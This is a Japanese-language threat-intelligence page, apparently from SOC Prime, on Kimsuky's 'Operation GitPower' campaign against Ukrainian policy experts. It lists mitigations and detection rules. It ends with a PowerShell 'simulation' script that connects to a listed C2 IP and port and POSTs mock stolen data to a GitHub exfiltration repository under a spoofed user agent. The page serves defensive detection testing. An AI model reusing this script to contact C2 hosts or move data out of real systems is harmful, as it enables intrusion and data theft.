SOC Prime Bias: Critical

13 Oct 2026 15:39 UTC

GitPower作戦:ウクライナに対するキムスキースパイ活動

Author Photo
SOC Prime Team linkedin icon フォローする
GitPower作戦:ウクライナに対するキムスキースパイ活動
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Kimsukyは現在、ウクライナの外交、安全保障、国際政策の専門家に対するサイバー諜報活動を行っています。Operation GitPowerとして知られるこのキャンペーンは、リプライ誘導型スピアフィッシングに基づき、GitHub、GitLab、Codebergなどの正当な開発プラットフォームを悪用してマルウェアを配信しています。攻撃者はまた、AIツールを活用してデコイドキュメントを作成し、攻撃プロセスを自動化し始めています。

調査

調査者は、PDFに偽装された悪意のあるLNKファイルや偽のZoomインストーラーを含む複数の攻撃段階を調査しました。VBScriptとPowerShellスクリプトがスケジュールタスクを通じて持続性を持つ多段階の実行フローを追跡しました。グループはハードコードされたC2サーバーとGitHubのAPIを使用してデータの流出を実行しています。

緩和策

組織は、LNKファイル、PowerShell、および正当なクラウド開発サービスの悪用を意図したEDR検出と脅威ハンティング能力を強化するべきです。GitHubおよびGitLabへのAPIコールの監視と、通常ではないスケジュールタスクの厳格な監視が推奨されます。ユーザーは精巧なリプライ誘導型ソーシャルエンジニアリング戦術を認識するように訓練される必要があります。

対応策

検出後、対応者はTCP C2またはGitHubチャネルを通じたさらなるデータ流出を防ぐために、影響を受けたエンドポイントを隔離する必要があります。アナリストは、許可されていないスケジュールタスクを探し、C:UsersPublicディレクトリを悪意のあるVBS/PS1ファイルで確認するべきです。LNKの実行と後のネットワーク接続を正当なクラウドサービスに関連付けることが重要です。

攻撃フロー

この部分はまだ更新中です。

検出

二重拡張子を持つ可能性のある悪意のあるLNKファイル(cmdライン経由)

SOC Primeチーム
2026年10月13日

疑わしいディレクトリでBypass実行ポリシーを使用してファイルを実行するPowerShell(cmdライン経由)

SOC Primeチーム
2026年10月13日

Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指す(cmdライン経由)

SOC Primeチーム
2026年10月13日

LOLBAS WScript / CScript(プロセス生成経由)

SOC Primeチーム
2026年10月13日

Publicユーザープロファイルからの疑わしい実行(プロセス生成経由)

SOC Primeチーム
2026年10月13日

疑わしいCURLの使用(cmdライン経由)

SOC Primeチーム
2026年10月13日

Invoke-RestMethodの疑わしい使用(powershell経由)

SOC Primeチーム
2026年10月13日

.NETメソッドをPowerShellから呼び出す疑わしい事例(powershell経由)

SOC Primeチーム
2026年10月13日

異常なプロセスによって開始された可能性のあるGitHubファイルダウンロード(ネットワーク接続経由)

SOC Primeチーム
2026年10月13日

Publicユーザープロファイルの疑わしいファイル(ファイルイベント経由)

SOC Primeチーム
2026年10月13日

検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 4

SOC Prime AIルール
2026年10月13日

検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 3

SOC Prime AIルール
2026年10月13日

検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 2

SOC Prime AIルール
2026年10月13日

検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 1

SOC Prime AIルール
2026年10月13日

検出するためのIOC(SourceIP):ウクライナを標的とするKimsukyのOperation GitPower

SOC Prime AIルール
2026年10月13日

検出するためのIOC(DestinationIP):ウクライナを標的とするKimsukyのOperation GitPower

SOC Prime AIルール
2026年10月13日

Kimsuky活動におけるTCP C2接続とGitHubベースの流出の検出 [Windowsネットワーク接続]

SOC Prime AIルール
2026年10月13日

GoogleUpdateTaskMachineUAスケジュールタスクを検出して悪意のあるスクリプト実行を確認 [Windows Sysmon]

SOC Prime AIルール
2026年10月13日

LNKファイルが難読化と持続性を持ってPowerShellスクリプトを実行 [Windowsプロセス生成]

SOC Prime AIルール
2026年10月13日

シミュレーション実行

  • 攻撃の流れとコマンド: 敵対者はコマンド&コントロール(C2)通信を確立し、GitHubを通じて機密データを流出させることを目的としています。まず、攻撃者はハードコードされたC2 IP 111.92.246.145 ポートで 12345 準備完了を通知します。次に、伝統的なデータ転送監視による検出を避けるために、攻撃者はGitHub Contents APIを介して盗まれた文書をGitHubリポジトリにアップロードする「living-off-the-land」アプローチを使用し、特にKimsukyユーザーエージェントを模倣します。 GitHub-API/1.0.

  • リグレッションテストスクリプト:

    # Kimsuky検出の検証のためのシミュレーションスクリプト
    
    Write-Host "[+] Kimsukyシミュレーションを開始..." -ForegroundColor Cyan
    
    # 1. C2接続のシミュレーション(TCP 111.92.246.145:12345)
    Write-Host "[+] 111.92.246.145:12345へのC2接続を試みています" -ForegroundColor Yellow
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null)
        # IPに到達できない場合にスクリプトがハングしないよう短いタイムアウトを使用します
        $success = $connection.AsyncWaitHandle.WaitOne(2000, $false)
        if (-not $success) { Write-Host "[!] 接続失敗(IPがオフラインの場合に予期される)、しかしSysmonによってテレメトリは依然として記録されるはずです。" -ForegroundColor Gray }
        $tcpClient.Close()
    } catch {
        Write-Host "[!] C2シミュレーション中のエラー: $($_.Exception.Message)" -ForegroundColor Red
    }
    
    # 2. GitHub流出のシミュレーション(特定のUser-AgentでGitHub APIへのPOST)
    Write-Host "[+] GitHub API流出シミュレーションを試みています..." -ForegroundColor Yellow
    $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt"
    $userAgent = "GitHub-API/1.0"
    $headers = @{
        "Authorization" = "token FAKE_TOKEN_FOR_TESTING"
        "Content-Type"  = "application/json"
    }
    $body = @{
        "message" = "データを流出させています"
        "content" = "SGVsbG8gV29ybGQ=" # "Hello World"のBase64表現
    } | ConvertTo-Json
    
    try {
        # 特定の検出ロジックをトリガーするために-UserAgentを使用
        Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent
    } catch {
        Write-Host "[!] HTTPリクエストが完了しました(偽URLの場合は404/401が予想されますが、User-Agentが送信されました)。" -ForegroundColor Gray
    }
    
    Write-Host "[+] シミュレーション完了。" -ForegroundColor Cyan
  • クリーンアップコマンド:

    # このシミュレーションスクリプトによって永続的なアーティファクトは作成されていません。
    # コンテンツに使用されたローカルファイルがある場合、削除する必要があります:
    Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue
    Write-Host "[+] クリーンアップ完了。" -ForegroundColor Green